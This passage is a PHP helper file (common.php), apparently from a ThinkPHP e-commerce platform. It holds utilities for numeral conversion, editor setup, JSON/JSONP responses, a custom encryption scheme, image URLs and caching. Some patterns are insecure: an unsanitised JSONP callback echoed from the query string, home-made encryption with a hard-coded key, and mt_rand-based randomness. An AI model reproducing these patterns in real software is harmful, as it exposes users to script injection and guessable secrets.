common.php 40 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317
  1. <?php
  2. use think\facade\Cache;
  3. use think\facade\Db;
  4. use think\facade\Log;
  5. /* 引用全局定义 */
  6. require __DIR__ . '/common_global.php';
  7. /* 商品相关调用 */
  8. require __DIR__ . '/common_goods.php';
  9. /* 图片上传、生成缩略图、删除等操作调用 */
  10. require __DIR__ . '/common_upload.php';
  11. function ds_validate($name)
  12. {
  13. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  14. return strtoupper($matches[2]);
  15. }, $name);
  16. $class_name = '\app\common\validate\\' . ucfirst($name);
  17. return new $class_name;
  18. }
  19. function cn2num($string)
  20. {
  21. if(is_numeric($string)){
  22. return $string;
  23. }
  24. // '仟' => '千','佰' => '百','拾' => '十',
  25. $string = str_replace('仟', '千', $string);
  26. $string = str_replace('佰', '百', $string);
  27. $string = str_replace('拾', '十', $string);
  28. $num = 0;
  29. $wan = explode('万', $string);
  30. if (count($wan) > 1) {
  31. $num += cn2num($wan[0]) * 10000;
  32. $string = $wan[1];
  33. }
  34. $qian = explode('千', $string);
  35. if (count($qian) > 1) {
  36. $num += cn2num($qian[0]) * 1000;
  37. $string = $qian[1];
  38. }
  39. $bai = explode('百', $string);
  40. if (count($bai) > 1) {
  41. $num += cn2num($bai[0]) * 100;
  42. $string = $bai[1];
  43. }
  44. $shi = explode('十', $string);
  45. if (count($shi) > 1) {
  46. $num += cn2num($shi[0] ? $shi[0] : '一') * 10;
  47. $string = $shi[1] ? $shi[1] : '零';
  48. }
  49. $ling = explode('零', $string);
  50. if (count($ling) > 1) {
  51. $string = $ling[1];
  52. }
  53. $d = array(
  54. '一' => '1','二' => '2','三' => '3','四' => '4','五' => '5','六' => '6','七' => '7','八' => '8','九' => '9',
  55. '壹' => '1','贰' => '2','叁' => '3','肆' => '4','伍' => '5','陆' => '6','柒' => '7','捌' => '8','玖' => '9',
  56. '零' => 0, '0' => 0, 'O' => 0, 'o' => 0,
  57. '两' => 2
  58. );
  59. return $num + @$d[$string];
  60. }
  61. function model($name, $layer = 'model')
  62. {
  63. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  64. return strtoupper($matches[2]);
  65. }, $name);
  66. $class_name = '\app\common\\' . $layer . '\\' . ucfirst($name);
  67. return new $class_name;
  68. }
  69. /*
  70. * 更换数组的键值 为了应对 ->key
  71. */
  72. function ds_change_arraykey($array, $key)
  73. {
  74. $data = array();
  75. foreach ($array as $value) {
  76. $data[$value[$key]] = $value;
  77. }
  78. return $data;
  79. }
  80. /**
  81. *
  82. * @param type $table 数据表
  83. * @param type $field 条件对应的字段
  84. * @param type $name 条件对应的值
  85. * @param type $value 数值
  86. * @return type
  87. */
  88. function ds_getvalue_byname($table, $field, $name, $value)
  89. {
  90. return Db::name($table)->where($field, $name)->value($value);
  91. }
  92. /*
  93. * 编辑器内容
  94. */
  95. function build_editor($params = array())
  96. {
  97. $name = isset($params['name']) ? $params['name'] : null;
  98. $theme = isset($params['theme']) ? $params['theme'] : 'normal';
  99. $content = isset($params['content']) ? $params['content'] : null;
  100. //http://fex.baidu.com/ueditor/#start-toolbar
  101. /* 指定使用哪种主题 */
  102. $themes = array(
  103. 'normal' => "[
  104. 'fullscreen', 'source', '|', 'undo', 'redo', '|',
  105. 'bold', 'italic', 'underline', 'fontborder', 'strikethrough', 'superscript', 'subscript', 'removeformat', 'formatmatch', 'autotypeset', 'blockquote', 'pasteplain', '|', 'forecolor', 'backcolor', 'insertorderedlist', 'insertunorderedlist', 'selectall', 'cleardoc', '|',
  106. 'rowspacingtop', 'rowspacingbottom', 'lineheight', '|',
  107. 'customstyle', 'paragraph', 'fontfamily', 'fontsize', '|',
  108. 'directionalityltr', 'directionalityrtl', 'indent', '|',
  109. 'justifyleft', 'justifycenter', 'justifyright', 'justifyjustify', '|', 'touppercase', 'tolowercase', '|',
  110. 'link', 'unlink', 'anchor', '|', 'imagenone', 'imageleft', 'imageright', 'imagecenter', '|',
  111. 'emotion', 'map', 'gmap', 'insertcode', 'template', '|',
  112. 'horizontal', 'date', 'time', 'spechars', '|',
  113. 'inserttable', 'deletetable', 'insertparagraphbeforetable', 'insertrow', 'deleterow', 'insertcol', 'deletecol', 'mergecells', 'mergeright', 'mergedown', 'splittocells', 'splittorows', 'splittocols', 'charts', '|',
  114. 'searchreplace', 'help', 'drafts', 'charts'
  115. ]", 'simple' => " ['fullscreen', 'source', 'undo', 'redo', 'bold']",
  116. );
  117. switch ($theme) {
  118. case 'simple':
  119. $theme_config = $themes['simple'];
  120. break;
  121. case 'normal':
  122. $theme_config = $themes['normal'];
  123. break;
  124. default:
  125. $theme_config = $themes['normal'];
  126. break;
  127. }
  128. /* 配置界面语言 */
  129. switch (config('lang.default_lang')) {
  130. case 'zh-cn':
  131. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  132. break;
  133. case 'en-us':
  134. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/en/en.js';
  135. break;
  136. default:
  137. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  138. break;
  139. }
  140. $include_js = '<script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.config.js"></script> <script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.all.min.js""> </script><script type="text/javascript" charset="utf-8" src="' . $lang . '"></script>';
  141. $content = json_encode($content);
  142. $str = <<<EOT
  143. $include_js
  144. <script type="text/javascript">
  145. var ue = UE.getEditor('{$name}',{
  146. toolbars:[{$theme_config}],
  147. });
  148. if($content){
  149. ue.ready(function() {
  150. this.setContent($content);
  151. })
  152. }
  153. </script>
  154. EOT;
  155. return $str;
  156. }
  157. /**
  158. *
  159. * @param type $code 100000表示为正确,其他为错误代码
  160. * @param type $message 提示消息
  161. * @param type $result 返回数据
  162. * @param type $$requestMethod 返回请求Method
  163. */
  164. function ds_json_encode($code, $message = '', $result = '', $requestMethod = '', $if_exit = true)
  165. {
  166. $data = array('code' => $code, 'message' => $message, 'result' => $result, 'requestMethod' => $requestMethod);
  167. if (!empty($_GET['callback'])) {
  168. echo $_GET['callback'] . '(' . json_encode($data) . ')';
  169. } else {
  170. echo json_encode($data);
  171. }
  172. if ($if_exit) {
  173. exit;
  174. }
  175. }
  176. /**
  177. * 规范数据返回函数
  178. * @param unknown $code
  179. * @param unknown $msg
  180. * @param unknown $data
  181. * @return multitype:unknown
  182. */
  183. function ds_callback($code, $msg = '', $data = array())
  184. {
  185. return array('code' => $code, 'msg' => $msg, 'data' => $data);
  186. }
  187. /**
  188. * 格式化字节大小
  189. * @param number $size 字节数
  190. * @param string $delimiter 数字和单位分隔符
  191. * @return string 格式化后的带单位的大小
  192. */
  193. function format_bytes($size, $delimiter = '')
  194. {
  195. $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
  196. for ($i = 0; $size >= 1024 && $i < 5; $i++)
  197. $size /= 1024;
  198. return round($size, 2) . $delimiter . $units[$i];
  199. }
  200. /**
  201. * 消息提示,主要适用于普通页面AJAX提交的情况
  202. *
  203. * @param string $message 消息内容
  204. * @param string $url 提示完后的URL去向
  205. * @param stting $alert_type 提示类型 error/succ/notice 分别为错误/成功/警示
  206. * @param string $extrajs 扩展JS
  207. * @param int $time 停留时间
  208. */
  209. function ds_show_dialog($message = '', $url = '', $alert_type = 'error', $extrajs = '', $time = 2)
  210. {
  211. $message = str_replace("'", "\\'", strip_tags($message));
  212. $paramjs = null;
  213. if ($url == 'reload') {
  214. $paramjs = 'window.location.reload()';
  215. } elseif ($url != '') {
  216. $paramjs = 'window.location.href =\'' . $url . '\'';
  217. }
  218. if ($paramjs) {
  219. $paramjs = 'function (){' . $paramjs . '}';
  220. } else {
  221. $paramjs = 'null';
  222. }
  223. $modes = array('error' => 'alert', 'succ' => 'succ', 'notice' => 'notice', 'js' => 'js');
  224. $cover = $alert_type == 'error' ? 1 : 0;
  225. $extra = 'showDialog(\'' . $message . '\', \'' . $modes[$alert_type] . '\', null, ' . ($paramjs ? $paramjs : 'null') . ', ' . $cover . ', null, null, null, null, ' . (is_numeric($time) ? $time : 'null') . ', null);';
  226. $extra = '<script type="text/javascript" reload="1">' . $extra . '</script>';
  227. if ($extrajs != '' && substr(trim($extrajs), 0, 7) != '<script') {
  228. $extrajs = '<script type="text/javascript" reload="1">' . $extrajs . '</script>';
  229. }
  230. $extra .= $extrajs;
  231. ob_end_clean();
  232. @header("Expires: -1");
  233. @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
  234. @header("Pragma: no-cache");
  235. @header("Content-type: text/xml; charset=utf-8");
  236. $string = '<?xml version="1.0" encoding="utf-8"?>' . "\r\n";
  237. $string .= '<root><![CDATA[' . $message . $extra . ']]></root>';
  238. echo $string;
  239. exit;
  240. }
  241. /**
  242. * 取上一步来源地址
  243. *
  244. * @param
  245. * @return string 字符串类型的返回结果
  246. */
  247. function get_referer()
  248. {
  249. return empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];
  250. }
  251. /**
  252. * 加密函数
  253. *
  254. * @param string $txt 需要加密的字符串
  255. * @param string $key 密钥
  256. * @return string 返回加密结果
  257. */
  258. function ds_encrypt($txt, $key = '')
  259. {
  260. if (empty($txt))
  261. return $txt;
  262. if (empty($key))
  263. $key = md5(config('ds_config.setup_date'));
  264. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  265. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  266. $nh1 = rand(0, 64);
  267. $nh2 = rand(0, 64);
  268. $nh3 = rand(0, 64);
  269. $ch1 = $chars{
  270. $nh1};
  271. $ch2 = $chars{
  272. $nh2};
  273. $ch3 = $chars{
  274. $nh3};
  275. $nhnum = $nh1 + $nh2 + $nh3;
  276. $knum = 0;
  277. $i = 0;
  278. while (isset($key{
  279. $i}))
  280. $knum += ord($key{
  281. $i++});
  282. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  283. $txt = base64_encode(TIMESTAMP . '_' . $txt);
  284. $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
  285. $tmp = '';
  286. $j = 0;
  287. $k = 0;
  288. $tlen = strlen($txt);
  289. $klen = strlen($mdKey);
  290. for ($i = 0; $i < $tlen; $i++) {
  291. $k = $k == $klen ? 0 : $k;
  292. $j = ($nhnum + strpos($chars, $txt{
  293. $i}) + ord($mdKey{
  294. $k++})) % 64;
  295. $tmp .= $chars{
  296. $j};
  297. }
  298. $tmplen = strlen($tmp);
  299. $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
  300. $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
  301. $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
  302. return $tmp;
  303. }
  304. /**
  305. * 解密函数
  306. *
  307. * @param string $txt 需要解密的字符串
  308. * @param string $key 密匙
  309. * @return string 字符串类型的返回结果
  310. */
  311. function ds_decrypt($txt, $key = '', $ttl = 0)
  312. {
  313. if (empty($txt))
  314. return $txt;
  315. if (empty($key))
  316. $key = md5(config('ds_config.setup_date'));
  317. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  318. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  319. $knum = 0;
  320. $i = 0;
  321. $tlen = @strlen($txt);
  322. while (isset($key{
  323. $i}))
  324. $knum += ord($key{
  325. $i++});
  326. $ch1 = @$txt{
  327. $knum % $tlen};
  328. $nh1 = strpos($chars, $ch1);
  329. $txt = @substr_replace($txt, '', $knum % $tlen--, 1);
  330. $ch2 = @$txt{
  331. $nh1 % $tlen};
  332. $nh2 = @strpos($chars, $ch2);
  333. $txt = @substr_replace($txt, '', $nh1 % $tlen--, 1);
  334. $ch3 = @$txt{
  335. $nh2 % $tlen};
  336. $nh3 = @strpos($chars, $ch3);
  337. $txt = @substr_replace($txt, '', $nh2 % $tlen--, 1);
  338. $nhnum = $nh1 + $nh2 + $nh3;
  339. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  340. $tmp = '';
  341. $j = 0;
  342. $k = 0;
  343. $tlen = @strlen($txt);
  344. $klen = @strlen($mdKey);
  345. for ($i = 0; $i < $tlen; $i++) {
  346. $k = $k == $klen ? 0 : $k;
  347. $j = strpos($chars, $txt{
  348. $i}) - $nhnum - ord($mdKey{
  349. $k++});
  350. while ($j < 0)
  351. $j += 64;
  352. $tmp .= $chars{
  353. $j};
  354. }
  355. $tmp = str_replace(array('-', '_', '.'), array('+', '/', '='), $tmp);
  356. $tmp = trim(base64_decode($tmp));
  357. if (preg_match("/\d{10}_/s", substr($tmp, 0, 11))) {
  358. if ($ttl > 0 && (TIMESTAMP - (int) substr($tmp, 0, 11) > $ttl)) {
  359. $tmp = null;
  360. } else {
  361. $tmp = substr($tmp, 11);
  362. }
  363. }
  364. return $tmp;
  365. }
  366. /**
  367. * 获取文件列表(所有子目录文件)
  368. *
  369. * @param string $path 目录
  370. * @param array $file_list 存放所有子文件的数组
  371. * @param array $ignore_dir 需要忽略的目录或文件
  372. * @return array 数据格式的返回结果
  373. */
  374. function read_file_list($path, &$file_list, $ignore_dir = array())
  375. {
  376. $path = rtrim($path, '/');
  377. if (is_dir($path)) {
  378. $handle = @opendir($path);
  379. if ($handle) {
  380. while (false !== ($dir = readdir($handle))) {
  381. if ($dir != '.' && $dir != '..') {
  382. if (!in_array($dir, $ignore_dir)) {
  383. if (is_file($path . '/' . $dir)) {
  384. $file_list[] = $path . '/' . $dir;
  385. } elseif (is_dir($path . '/' . $dir)) {
  386. read_file_list($path . '/' . $dir, $file_list, $ignore_dir);
  387. }
  388. }
  389. }
  390. }
  391. @closedir($handle);
  392. } else {
  393. return false;
  394. }
  395. } else {
  396. return false;
  397. }
  398. }
  399. /**
  400. * 价格格式化
  401. *
  402. * @param int $price
  403. * @return string $price_format
  404. */
  405. function ds_price_format($price)
  406. {
  407. $price_format = number_format($price, 2, '.', '');
  408. return $price_format;
  409. }
  410. /**
  411. * 价格格式化
  412. *
  413. * @param int $price
  414. * @return string $price_format
  415. */
  416. function ds_price_format_forlist($price)
  417. {
  418. if ($price >= 10000) {
  419. return number_format(floor($price / 100) / 100, 2, '.', '') . lang('ten_thousand');
  420. } else {
  421. return lang('currency') . $price;
  422. }
  423. }
  424. /**
  425. * 通知邮件/通知消息 内容转换函数
  426. *
  427. * @param string $message 内容模板
  428. * @param array $param 内容参数数组
  429. * @return string 通知内容
  430. */
  431. function ds_replace_text($message, $param)
  432. {
  433. if (!is_array($param))
  434. return false;
  435. foreach ($param as $k => $v) {
  436. $message = str_replace('${' . $k . '}', $v, $message);
  437. }
  438. return $message;
  439. }
  440. /** @noinspection InconsistentLineSeparators */
  441. /**
  442. * 字符串切割函数,一个字母算一个位置,一个字算2个位置
  443. *
  444. * @param string $string 待切割的字符串
  445. * @param int $length 切割长度
  446. * @param string $dot 尾缀
  447. */
  448. function str_cut($string, $length, $dot = '')
  449. {
  450. $string = str_replace(array(
  451. '&nbsp;', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;',
  452. '&middot;', '&hellip;'
  453. ), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);
  454. $strlen = strlen($string);
  455. if ($strlen <= $length)
  456. return $string;
  457. $maxi = $length - strlen($dot);
  458. $strcut = '';
  459. $n = $tn = $noc = 0;
  460. while ($n < $strlen) {
  461. $t = ord($string[$n]);
  462. if ($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
  463. $tn = 1;
  464. $n++;
  465. $noc++;
  466. } elseif (194 <= $t && $t <= 223) {
  467. $tn = 2;
  468. $n += 2;
  469. $noc += 2;
  470. } elseif (224 <= $t && $t < 239) {
  471. $tn = 3;
  472. $n += 3;
  473. $noc += 2;
  474. } elseif (240 <= $t && $t <= 247) {
  475. $tn = 4;
  476. $n += 4;
  477. $noc += 2;
  478. } elseif (248 <= $t && $t <= 251) {
  479. $tn = 5;
  480. $n += 5;
  481. $noc += 2;
  482. } elseif ($t == 252 || $t == 253) {
  483. $tn = 6;
  484. $n += 6;
  485. $noc += 2;
  486. } else {
  487. $n++;
  488. }
  489. if ($noc >= $maxi)
  490. break;
  491. }
  492. if ($noc > $maxi)
  493. $n -= $tn;
  494. $strcut = substr($string, 0, $n);
  495. $strcut = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&#039;', '&lt;', '&gt;'), $strcut);
  496. return $strcut . $dot;
  497. }
  498. /*
  499. * 重写$_SERVER['REQUREST_URI']
  500. */
  501. function request_uri()
  502. {
  503. if (isset($_SERVER['REQUEST_URI'])) {
  504. $uri = $_SERVER['REQUEST_URI'];
  505. } else {
  506. if (isset($_SERVER['argv'])) {
  507. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
  508. } else {
  509. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
  510. }
  511. }
  512. return $uri;
  513. }
  514. function get_member_id_by_XDSKEY()
  515. {
  516. $key = request()->header('X-DS-KEY');
  517. if (!$key) {
  518. return;
  519. }
  520. $mbusertoken_model = model('mbusertoken');
  521. $mb_user_token_info = $mbusertoken_model->getMbusertokenInfoByToken($key);
  522. if (empty($mb_user_token_info)) {
  523. return;
  524. } else {
  525. return $mb_user_token_info['member_id'];
  526. }
  527. }
  528. function get_member_idcard_image($member_image)
  529. {
  530. if ($member_image) {
  531. return ds_get_pic(ATTACH_IDCARD_IMAGE, $member_image);
  532. }
  533. return '';
  534. }
  535. /**
  536. * 取得用户头像图片
  537. *
  538. * @param string $member_avatar
  539. * @return string
  540. */
  541. function get_member_avatar($member_avatar)
  542. {
  543. if (empty($member_avatar)) {
  544. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  545. } else {
  546. $url = ds_get_pic(ATTACH_AVATAR, $member_avatar);
  547. if ($url) {
  548. return $url;
  549. } else {
  550. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  551. }
  552. }
  553. }
  554. /**
  555. * 成员头像
  556. * @param string $member_id
  557. * @return string
  558. */
  559. function get_member_avatar_for_id($id)
  560. {
  561. $member_model = model('member');
  562. $member_info = $member_model->getMemberInfoByID($id);
  563. if ($member_info) {
  564. return get_member_avatar($member_info['member_avatar']);
  565. }
  566. }
  567. /**
  568. * 取得店铺标志
  569. *
  570. * @param string $img 图片名
  571. * @param string $type 查询类型 store_logo/store_avatar
  572. * @return string
  573. */
  574. function get_store_logo($img, $type = 'store_avatar')
  575. {
  576. $linfo = explode('_', $img);
  577. $store_id = $linfo['0'];
  578. if ($store_id == 'alioss') {
  579. $store_id = $linfo['1'];
  580. }
  581. if ($type == 'store_avatar') {
  582. if (empty($img)) {
  583. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  584. } else {
  585. $url = ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  586. if (!$url) {
  587. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  588. } else {
  589. return $url;
  590. }
  591. }
  592. } elseif ($type == 'store_logo') {
  593. if (empty($img)) {
  594. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_logo'));
  595. } else {
  596. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  597. }
  598. } elseif ($type == 'store_banner') {
  599. if (!empty($img)) {
  600. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  601. }
  602. }
  603. }
  604. function get_adv_code($adv_code)
  605. {
  606. $url = ds_get_pic(ATTACH_ADV, $adv_code);
  607. if (!$url) {
  608. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  609. } else {
  610. return $url;
  611. }
  612. }
  613. function get_appadv_code($adv_code)
  614. {
  615. $url = ds_get_pic(ATTACH_APPADV, $adv_code);
  616. if (!$url) {
  617. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  618. } else {
  619. return $url;
  620. }
  621. }
  622. /**
  623. * 获取用户相册图片
  624. * @param type $user_id
  625. * @param type $ap_cover
  626. * @return type
  627. */
  628. function get_snsalbumpic($user_id, $ap_cover)
  629. {
  630. $url = ds_get_pic(ATTACH_MALBUM . '/' . $user_id, $ap_cover);
  631. if (!$url) {
  632. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  633. } else {
  634. return $url;
  635. }
  636. }
  637. /**
  638. * 获取开店申请图片
  639. */
  640. function get_store_joinin_imageurl($image_name = '')
  641. {
  642. return ds_get_pic(ATTACH_STORE_JOININ, $image_name);
  643. }
  644. /**
  645. * 获取提货点图片
  646. */
  647. function get_chain_imageurl($image_name = '')
  648. {
  649. return ds_get_pic(ATTACH_CHAIN, $image_name);
  650. }
  651. /**
  652. * 取得随机数
  653. *
  654. * @param int $length 生成随机数的长度
  655. * @param int $numeric 是否只产生数字随机数 1是0否
  656. * @return string
  657. */
  658. function random($length, $numeric = 0)
  659. {
  660. $seed = base_convert(md5(microtime() . $_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35);
  661. $seed = $numeric ? (str_replace('0', '', $seed) . '012340567890') : ($seed . 'zZ' . strtoupper($seed));
  662. $hash = '';
  663. $max = strlen($seed) - 1;
  664. for ($i = 0; $i < $length; $i++) {
  665. $hash .= $seed{
  666. mt_rand(0, $max)};
  667. }
  668. return $hash;
  669. }
  670. /**
  671. * sns表情标示符替换为html
  672. */
  673. function parsesmiles($message, $type = 0)
  674. {
  675. if ($type == 1) {
  676. $chat_goods = $message;
  677. $message = '<div class="dstouch-chat-product"> <a href="' . HOME_SITE_URL . '/goods/index?goods_id=' . $chat_goods['goods_id'] . '" target="_blank"><div class="goods-pic"><img src="' . $chat_goods['goods_image_url'] . '" alt=""/></div><div class="goods-info"><div class="goods-name">' . $chat_goods['goods_name'] . '</div><div class="goods-price">¥' . $chat_goods['goods_price'] . "</div></div></a> </div>";
  678. } else {
  679. $file = root_path() . 'extend/smilies.php';
  680. if (file_exists($file)) {
  681. include $file;
  682. if (!empty($smilies_array) && is_array($smilies_array)) {
  683. $imagesurl = PLUGINS_SITE_ROOT . '/js' . '/smilies' . '/images' . '/';
  684. $replace_arr = array();
  685. foreach ($smilies_array['replacearray'] as $key => $smiley) {
  686. $replace_arr[$key] = '<img src="' . $imagesurl . $smiley['imagename'] . '" title="' . $smiley['desc'] . '" border="0" alt="' . $imagesurl . $smiley['desc'] . '" />';
  687. }
  688. $message = preg_replace($smilies_array['searcharray'], $replace_arr, $message);
  689. }
  690. }
  691. }
  692. return $message;
  693. }
  694. /**
  695. * 延时加载分页功能,判断是否有更多连接和limitstart值和经过验证修改的$delay_eachnum值
  696. * @param int $delay_eachnum 延时分页每页显示的条数
  697. * @param int $delay_page 延时分页当前页数
  698. * @param int $count 总记录数
  699. * @param bool $ispage 是否在分页模式中实现延时分页(前台显示的两种不同效果)
  700. * @param int $page_nowpage 分页当前页数
  701. * @param int $page_eachnum 分页每页显示条数
  702. * @param int $page_limitstart 分页初始limit值
  703. * @return array array('hasmore'=>'是否显示更多连接','limitstart'=>'加载的limit开始值','delay_eachnum'=>'经过验证修改的$delay_eachnum值');
  704. */
  705. function lazypage($delay_eachnum, $delay_page, $count, $ispage = false, $page_nowpage = 1, $page_eachnum = 1, $page_limitstart = 1)
  706. {
  707. //是否有多余
  708. $hasmore = true;
  709. $limitstart = 0;
  710. if ($ispage == true) {
  711. if ($delay_eachnum < $page_eachnum) { //当延时加载每页条数小于分页的每页条数时候实现延时加载,否则按照普通分页程序流程处理
  712. $page_totlepage = ceil($count / $page_eachnum);
  713. //计算limit的开始值
  714. $limitstart = $page_limitstart + ($delay_page - 1) * $delay_eachnum;
  715. if ($page_totlepage > $page_nowpage) { //当前不为最后一页
  716. if ($delay_page >= $page_eachnum / $delay_eachnum) {
  717. $hasmore = false;
  718. }
  719. //判断如果分页的每页条数与延时加载每页的条数不能整除的处理
  720. if ($hasmore == false && $page_eachnum % $delay_eachnum > 0) {
  721. $delay_eachnum = $page_eachnum % $delay_eachnum;
  722. }
  723. } else { //当前最后一页
  724. $showcount = ($page_totlepage - 1) * $page_eachnum + $delay_eachnum * $delay_page; //已经显示的记录总数
  725. if ($count <= $showcount) {
  726. $hasmore = false;
  727. }
  728. }
  729. } else {
  730. $hasmore = false;
  731. }
  732. } else {
  733. if ($count <= $delay_page * $delay_eachnum) {
  734. $hasmore = false;
  735. }
  736. //计算limit的开始值
  737. $limitstart = ($delay_page - 1) * $delay_eachnum;
  738. }
  739. return array('hasmore' => $hasmore, 'limitstart' => $limitstart, 'delay_eachnum' => $delay_eachnum);
  740. }
  741. /**
  742. * 返回以原数组某个值为下标的新数据
  743. *
  744. * @param array $array
  745. * @param string $key
  746. * @param int $type 1一维数组2二维数组
  747. * @return array
  748. */
  749. function array_under_reset($array, $key, $type = 1)
  750. {
  751. if (is_array($array)) {
  752. $tmp = array();
  753. foreach ($array as $v) {
  754. if ($type === 1) {
  755. $tmp[$v[$key]] = $v;
  756. } elseif ($type === 2) {
  757. $tmp[$v[$key]][] = $v;
  758. }
  759. }
  760. return $tmp;
  761. } else {
  762. return $array;
  763. }
  764. }
  765. /**
  766. * KV缓存 读
  767. *
  768. * @param string $key 缓存名称
  769. * @param boolean $callback 缓存读取失败时是否使用回调 true代表使用cache.model中预定义的缓存项 默认不使用回调
  770. * @param callable $callback 传递非boolean值时 通过is_callable进行判断 失败抛出异常 成功则将$key作为参数进行回调
  771. * @return mixed
  772. */
  773. function rkcache($key, $callback = false)
  774. {
  775. $value = cache($key);
  776. if (empty($value) && $callback !== false) {
  777. if ($callback === true) {
  778. $callback = array(model('cache'), 'call');
  779. }
  780. if (!is_callable($callback)) {
  781. throw new \think\Exception('Invalid rkcache callback!', 10006);
  782. }
  783. $value = call_user_func($callback, $key);
  784. wkcache($key, $value);
  785. }
  786. return $value;
  787. }
  788. /**
  789. * KV缓存 写
  790. *
  791. * @param string $key 缓存名称
  792. * @param mixed $value 缓存数据 若设为否 则下次读取该缓存时会触发回调(如果有)
  793. * @param int $expire 缓存时间 单位秒 null代表不过期
  794. * @return boolean
  795. */
  796. function wkcache($key, $value, $expire = 7200)
  797. {
  798. return cache($key, $value, $expire);
  799. }
  800. /**
  801. * KV缓存 删
  802. *
  803. * @param string $key 缓存名称
  804. * @return boolean
  805. */
  806. function dkcache($key)
  807. {
  808. return cache($key, NULL);
  809. }
  810. /**
  811. * 读取缓存信息
  812. *
  813. * @param string $key 要取得缓存键
  814. * @param string $prefix 键值前缀
  815. * @return array/bool
  816. */
